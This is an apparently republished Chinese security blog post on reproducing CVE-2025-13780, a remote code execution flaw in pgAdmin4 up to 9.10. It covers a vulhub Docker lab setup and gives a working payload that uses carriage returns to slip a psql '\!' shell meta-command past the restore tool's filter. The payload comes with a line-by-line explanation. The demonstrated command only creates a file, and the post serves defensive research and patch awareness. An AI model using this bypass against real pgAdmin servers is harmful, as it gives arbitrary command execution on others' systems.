文章总结: 本文档详细介绍了CVE-2025-13780漏洞的复现过程,该漏洞影响pgAdmin49.10及以下版本。核心机制是利用数据库恢复工具,攻击者通过回车符替代换行符绕过安全检查,在SQL文件中嵌入psql元命令执行任意系统代码。文章提供了详细的复现步骤和Payload构造解析,建议尽快升级受影响版本以修复此远程代码执行风险。
综合评分: 91
文章分类: 漏洞POC,漏洞分析,漏洞预警
复现pgAdmin4 <= 9.10(CVE-2025-13780)漏洞利用
原创
qife
网络安全技术点滴分享
2026年1月11日 08:36
福建
一、漏洞详情
pgAdmin 是一个流行且功能丰富的开源 PostgreSQL 数据库管理和开发平台,广泛被数据库管理员和开发者用于通过 Web 界面管理 PostgreSQL 数据库。
该漏洞存在于 pgAdmin4 的数据库恢复(Restore)工具中,该工具使用 psql 命令行程序执行用户上传的纯文本 SQL 文件。攻击者可以利用特殊字符绕过 pgAdmin4 对文件内容的安全检查,在 SQL 文件中嵌入元命令(\!),从而通过 psql 程序在服务器上执行任意系统命令,实现远程代码执行。
二、受影响版本
pgAdmin4(版本<=9.10)
三、漏洞复现步骤
这里以vulhub的pgadmin docker环境作为漏洞复现测试,复现的系统在ubuntu中
链接地址:
https://github.com/vulhub/vulhub/tree/master/pgadmin/CVE-2025-13780
1.git clone或者下载vulhub项目到ubuntu本地目录中,如下所示
2.在命令行中cd到pgadmin/CVE-2025-13780中,如下所示
3.在终端运行docker命令(默认ubuntu服务器已安装docker环境,如果未安装docker环境可以参考该链接ubuntu安装docker并配置国内镜像),通过 Docker Compose 一键式启动包含漏洞版本(9.10)的 pgAdmin4 服务器及配套的 PostgreSQL 数据库,如下所示
sudo docker compose up -d
4.等容器启动后,在浏览器输入http://localhost:5050进入pgAdmin4登录页面,如下所示
5.以[email protected] / vulhub登录凭据登录pgAdmin4数据库管理平台,如下所示
6.访问恢复工具,登录pgAdmin4后,依次点击左侧导航栏的Services” -> “main” -> “Databases” -> “vulhub”。右键点击 “vulhub” 数据库,选择 “Restore...” 输入vulhub数据密码"vulhub"后打开数据库恢复工具,如下所示
7.准备恶意sql文件,保存到payload.sql文件中,如下所示
(1)直接使用换行符的简单恶意payload,会被拦截
SELECT 1;\! bash -c 'touch /tmp/hacked1'
(2)使用回车符(\r)替代换行符的恶意payload
echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload2.sql
8.执行恢复操作,分别在Restore工具的“Filename”处上传payload.sql跟payload2.sql文件,确保“Format”选择“PLAIN”,点击“Restore”按钮进行测试,如下所示
(1)简单恶意payload测试
(2)使用回车符(\r)替代换行符的恶意payload测试
9.查看docker容器中的/tmp目录中看是否有hacked2文件,如果有的话,则我们的漏洞利用执行成功,如下所示
使用如下命令查看/tmp文件列表
sudo docker exec <pgadmin_container_id> ls -la /tmp/
(1)sudo docker ps -a查看docker容器列表
(2)找到pgadmin容器id为812353dae4bf,执行如下命令查看/tmp/目录
sudo docker exec 812353dae4bf ls -la /tmp/
四、漏洞利用 Payload 生成命令解析
这是漏洞复现的关键,演示了如何构造绕过检查的输入。
echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload2.sql
代码注释:
echo -ne:-n选项禁止输出末尾的换行符,-e选项允许解释反斜杠转义字符。SELECT 1;:一个合法的 SQL 语句,用于伪装文件内容。\r:关键点。回车符 (Carriage Return),ASCII 码为 0x0D。在这里用于替代常规的换行符 (\n, 0x0A)。pgAdmin4 9.10 的检查逻辑可能只检测了 \n后跟 \!的模式,而 \r可以起到相似的分隔作用(在 psql中),从而绕过检测。\\!:经过 shell 转义后,在文件中实际写入的是 \!,这是 psql的元命令,用于执行后面的系统命令。bash -c 'touch /tmp/hacked2':要通过 \!执行的系统命令,创建一个文件作为攻击成功的证明。- 最后的
\r:确保文件以\r结尾,保持格式一致性。 payload2.sql:将构造的字符串输出到名为 payload2.sql的文件中。该文件上传后,psql在处理时会因 \r而识别出新“行”,并执行 \!后面的命令。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全技术点滴分享 qife《复现pgAdmin4 <= 9.10(CVE-2025-13780)漏洞利用》